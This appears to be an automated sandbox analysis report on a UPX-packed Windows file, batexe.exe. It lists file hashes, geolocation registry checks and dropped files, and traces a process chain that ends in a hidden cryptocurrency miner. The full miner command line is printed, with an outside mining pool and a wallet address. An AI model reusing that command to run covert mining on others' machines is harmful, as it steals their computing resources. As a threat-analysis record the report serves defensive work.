73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 00:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4120	b2e.exe
3396	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3396	cpuminer-sse2.exe
3396	cpuminer-sse2.exe
3396	cpuminer-sse2.exe
3396	cpuminer-sse2.exe
3396	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/832-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 4120	832	batexe.exe	87
PID 832 wrote to memory of 4120	832	batexe.exe	87
PID 832 wrote to memory of 4120	832	batexe.exe	87
PID 4120 wrote to memory of 1900	4120	b2e.exe	88
PID 4120 wrote to memory of 1900	4120	b2e.exe	88
PID 4120 wrote to memory of 1900	4120	b2e.exe	88
PID 1900 wrote to memory of 3396	1900	cmd.exe	92
PID 1900 wrote to memory of 3396	1900	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:832
- C:\Users\Admin\AppData\Local\Temp\63AB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\63AB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\63AB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6699.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\63AB.tmp\b2e.exe

Filesize
16.1MB

MD5
88b966baff0f71f128d342babc5aa0df

SHA1
8f11f866630b1f6f414b3d9a6cf8da2dffe03995

SHA256
9650877f224c52b53c2241ec6941b896e0cfb408924a69293f8b4a2c02081f41

SHA512
4f90414b9fa5d0d2e37976d1647b4b67e0444572473ec5c0392c12fd0dea12f28bdd3f711af1e686f0ab4b158c9097e127f61ac1ccd1727cc364e8dbe6dd1d8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\63AB.tmp\b2e.exe

Filesize
7.9MB

MD5
c4ac32db092be840bf4baad6cc5ffb9d

SHA1
2280a52b373a54cd5b6ff1a5698ae7be4d4f40a6

SHA256
097956b2a22cae0373dc508de9dbfb251b43f4e7b7a027e386f1af16cee23345

SHA512
aea419fb6319397a83fb955133f30759dbfa1923395c0791e5f2dc20855f08655fde172a4b0c119797d0944809cf711c7d7cc8d96168999ee5df99ce71eee530

Download Submit
C:\Users\Admin\AppData\Local\Temp\63AB.tmp\b2e.exe

Filesize
11.1MB

MD5
db594a6eb1863a13e8751f6d7e7bae28

SHA1
c81236a07f9f26c7a76c371e3980adf6a8f54aa4

SHA256
2ba46b55f6591a336bee1afeeeca3ee64f892446482b16e38a411e045923c6e4

SHA512
32cf65807dd2b170191aaf4dda76b88e4bb7a512f5847eedda1ac0f9e932e837610763177bec511afb5a43678e21694310cd8af1a5e0bba9a2bf5bc0878e0452

Download Submit
C:\Users\Admin\AppData\Local\Temp\6699.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.1MB

MD5
d3450d1e2c54b0f2ddaf3cb01bc93a00

SHA1
23979009ad29e36509d4d3dcd73e227b25a35992

SHA256
404e4f56c82daf37e284beec04f533e94dbb826621c5617b58a6dac9dc2aabbe

SHA512
f650f9136ff4da11c4428ee529d1f69a2b16ba5a6e917daafad95ad31d6418cee75ef1fe6454a7d228a8161b64329a12952c4997add39ee2983c6cb91ecebc74

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.4MB

MD5
65ee0fbdfb07a1767d90ec146fe60c1d

SHA1
87696adef3e91a25172be349b007e7556e655a8f

SHA256
169d91afa62fa312c9edc8d31d6bb4ab7806752b83dcba94e49727bb3a13bf5f

SHA512
0c0709da99f45376c3916204ca4b0c658793938c0d9d173665c19708b323d473865e46929f7f53eb3517eff85d732cfccb715f5185afc4123b31fe18e8a97110

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.6MB

MD5
4cc1dc0aaf2345b5cd6696bce8b8f36d

SHA1
7aee53e299bfce404d761aec4529f7205caa5d92

SHA256
347070df57f5e69c04a6a37b8bfa0626151a5b17ad5ef3d755b055a60358c095

SHA512
236afeaedd7c2007b2246806f4dde7fe3172c4b65d0cfb8c32ce454b244a295ec0af26aee3291144e0b3f707298c702e68e488df3676f5aa155ee810f124929f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/832-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3396-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3396-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3396-46-0x0000000060AE0000-0x0000000060B78000-memory.dmp

Filesize
608KB

Download
memory/3396-47-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/3396-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3396-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4120-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4120-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download